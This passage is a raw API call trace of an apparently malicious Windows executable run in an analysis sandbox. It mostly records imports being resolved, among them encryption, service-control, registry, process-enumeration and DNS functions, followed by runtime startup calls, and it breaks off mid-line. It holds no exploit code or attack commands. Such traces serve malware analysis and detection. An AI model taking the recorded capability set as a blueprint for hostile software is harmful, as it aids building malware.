lpProcName="CopyFileW") returned 0x76c5830d [0045.460] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620 [0045.460] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpynW") returned 0x76c5d556 [0045.460] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0045.460] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0045.460] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0045.460] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0045.460] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0045.460] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0045.460] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0045.460] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0045.460] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0045.460] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0045.460] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0045.460] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0045.461] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0045.461] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0045.461] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0045.461] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0045.461] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0045.461] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0045.461] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0045.461] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0045.461] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventW") returned 0x76c3183e [0045.461] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0045.461] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0045.461] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatW") returned 0x76c5828e [0045.461] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0045.461] GetProcAddress (hModule=0x76c20000, lpProcName="FatalAppExitA") returned 0x76cb4691 [0045.461] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0045.462] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0045.462] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0045.462] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0045.462] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0045.462] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0045.462] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0045.462] GetProcAddress (hModule=0x76c20000, lpProcName="SetPriorityClass") returned 0x76c4cf28 [0045.462] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0045.462] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0045.462] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d [0045.462] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0045.462] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0045.462] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0045.462] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0045.463] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0045.463] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0045.463] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0045.463] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0045.463] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0045.463] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0045.463] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0045.463] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0045.463] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0045.463] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0045.463] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0045.464] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0045.464] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0045.464] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0045.464] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0045.464] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0045.464] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0045.464] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0045.464] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0045.464] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0045.464] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0045.464] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0045.464] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0045.464] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0045.464] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatW") returned 0x76c4f481 [0045.464] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0045.465] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0045.465] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0045.465] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0045.465] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0045.465] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0045.465] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0045.465] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0045.465] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0045.465] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0045.465] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0045.465] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0045.465] GetProcAddress (hModule=0x76c20000, lpProcName="OutputDebugStringW") returned 0x76c5d1d4 [0045.465] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleCtrlHandler") returned 0x76c38a09 [0045.465] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0045.465] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0045.466] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0045.466] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0045.466] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0045.466] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0045.466] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0045.466] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0045.466] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0045.466] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0045.466] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0045.466] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0045.466] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0045.466] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0045.466] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0045.466] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0045.466] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0045.467] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0045.467] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0045.467] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0045.467] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0045.467] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0045.467] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0045.467] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0045.467] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0045.467] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0045.467] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0045.467] GetProcAddress (hModule=0x74f40000, lpProcName="IsWindow") returned 0x74f57136 [0045.467] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0045.467] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0045.467] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0045.468] GetProcAddress (hModule=0x74f40000, lpProcName="PeekMessageW") returned 0x74f605ba [0045.468] GetProcAddress (hModule=0x74f40000, lpProcName="PostThreadMessageW") returned 0x74f58bff [0045.468] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxW") returned 0x74fafd3f [0045.468] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0045.468] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0045.468] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0045.468] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0045.468] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0045.468] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0045.468] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0045.468] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14 [0045.468] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0045.468] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0045.468] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0045.468] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0045.469] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0045.469] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0045.469] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0045.469] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0045.469] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0045.469] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0045.469] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0045.469] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0045.469] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0045.469] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0045.469] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0045.469] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0045.469] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0045.472] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetPathFromIDListW") returned 0x760617bf [0045.473] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7605e141 [0045.473] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0045.473] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0045.473] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0045.473] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0045.473] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0045.473] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitializeSecurity") returned 0x75607259 [0045.473] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0045.473] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0045.473] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0045.473] GetProcAddress (hModule=0x75220000, lpProcName=0xca) returned 0x7522fd6b [0045.473] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0045.473] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0045.474] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0045.474] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0045.474] GetProcAddress (hModule=0x75220000, lpProcName=0xc8) returned 0x75223f21 [0045.474] GetProcAddress (hModule=0x75220000, lpProcName=0xc) returned 0x75225dee [0045.474] GetProcAddress (hModule=0x75220000, lpProcName=0xc9) returned 0x75224af8 [0045.474] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74b50000 [0045.480] GetProcAddress (hModule=0x74b50000, lpProcName="GetAdaptersInfo") returned 0x74b59263 [0045.480] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0045.481] GetProcAddress (hModule=0x75bc0000, lpProcName=0xc) returned 0x75bcb131 [0045.481] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0045.482] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0045.482] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74a80000 [0045.486] GetProcAddress (hModule=0x74a80000, lpProcName="DnsQuery_W") returned 0x74a9572c [0045.486] GetProcAddress (hModule=0x74a80000, lpProcName="DnsFree") returned 0x74a8436b [0045.486] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0045.486] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0045.486] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0045.492] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0045.492] atexit (param_1=0x60d0ef) returned 0 [0045.492] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f390 | out: lpSystemTimeAsFileTime=0x18f390*(dwLowDateTime=0xcf714830, dwHighDateTime=0x1d52ab3)) [0045.492] GetCurrentThreadId () returned 0x40c [0045.493] GetCurrentProcessId () returned 0x204 [0045.493] QueryPerformanceCounter (in: lpPerformanceCount=0x18f388 | out: lpPerformanceCount=0x18f388*=16575718515) returned 1 [0045.493] GetStartupInfoW (in: lpStartupInfo=0x18f320 | out: lpStartupInfo=0x18f320*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76c33519, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0045.493] GetProcessHeap () returned 0x5b0000 [0045.493] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0045.493] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0045.493] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0045.493] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0045.493] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0045.493] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0045.493] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0045.493] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0045.493] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0045.494] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0045.494] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0045.494] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0045.494] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0045.494] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0045.494] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0045.494] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0045.494] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0045.494] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0045.494] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0045.494] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0045.494] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0045.495] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0045.495] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0045.495] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0045.495] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0045.495] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0045.495] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0045.495] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0045.495] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0045.495] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0045.495] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0045.495] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0045.495] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0045.495] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0045.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3bc) returned 0x65e730 [0045.496] GetCurrentThreadId () returned 0x40c [0045.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x654ac8 [0045.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x800) returned 0x65eaf8 [0045.496] GetStartupInfoW (in: lpStartupInfo=0x18f2f0 | out: lpStartupInfo=0x18f2f0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0x15590037, hStdError=0x0)) [0045.496] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0045.496] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0045.496] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0045.496] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe\" --Admin IsNotAutoStart IsNotTask" [0045.496] GetEnvironmentStringsW () returned 0x65f300* [0045.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xaca) returned 0x65fdd8 [0045.496] FreeEnvironmentStringsW (penv=0x65f300) returned 1 [0045.496] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\370e.tmp.exe")) returned 0x32 [0045.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbc) returned 0x6608b0 [0045.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x98) returned 0x660978 [0045.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3e) returned 0x6538f0 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x6c) returned 0x660a18 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x6e) returned 0x660a90 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x78) returned 0x651a30 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x62) returned 0x660b08 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x2e) returned 0x65a528 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x48) returned 0x656210 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x28) returned 0x659ed0 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1a) returned 0x65e3f0 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x4a) returned 0x660b78 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x72) returned 0x651ab0 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x30) returned 0x65a560 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x2e) returned 0x65a598 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1c) returned 0x65e418 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xd2) returned 0x660bd0 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x7c) returned 0x660cb0 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x36) returned 0x660d38 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3a) returned 0x653938 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x90) returned 0x660d78 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x24) returned 0x659f00 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x30) returned 0x65a5d0 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x36) returned 0x660e10 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x48) returned 0x656260 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x52) returned 0x660e50 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3c) returned 0x653980 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x82) returned 0x660eb0 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x2e) returned 0x65a608 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1e) returned 0x65e440 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x2c) returned 0x65a640 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x54) returned 0x660f40 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x52) returned 0x65f300 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x2a) returned 0x65a678 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3c) returned 0x6539c8 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x54) returned 0x65f360 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x24) returned 0x659f30 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x30) returned 0x65a6b0 [0045.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x8c) returned 0x65f3c0 [0045.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65fdd8 | out: hHeap=0x5b0000) returned 1 [0045.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x80) returned 0x65f458 [0045.498] GetLastError () returned 0x0 [0045.498] SetLastError (dwErrCode=0x0) [0045.498] GetLastError () returned 0x0 [0045.498] SetLastError (dwErrCode=0x0) [0045.498] GetLastError () returned 0x0 [0045.498] SetLastError (dwErrCode=0x0) [0045.498] GetACP () returned 0x4e4 [0045.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x220) returned 0x65f4e0 [0045.498] GetLastError () returned 0x0 [0045.498] SetLastError (dwErrCode=0x0) [0045.498] IsValidCodePage (CodePage=0x4e4) returned 1 [0045.498] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f2e4 | out: lpCPInfo=0x18f2e4) returned 1 [0045.498] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18edac | out: lpCPInfo=0x18edac) returned 1 [0045.498] GetLastError () returned 0x0 [0045.498] SetLastError (dwErrCode=0x0) [0045.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f1c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0045.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f1c0, cbMultiByte=256, lpWideCharStr=0x18eb28, cchWideChar=256 | out: lpWideCharStr=" 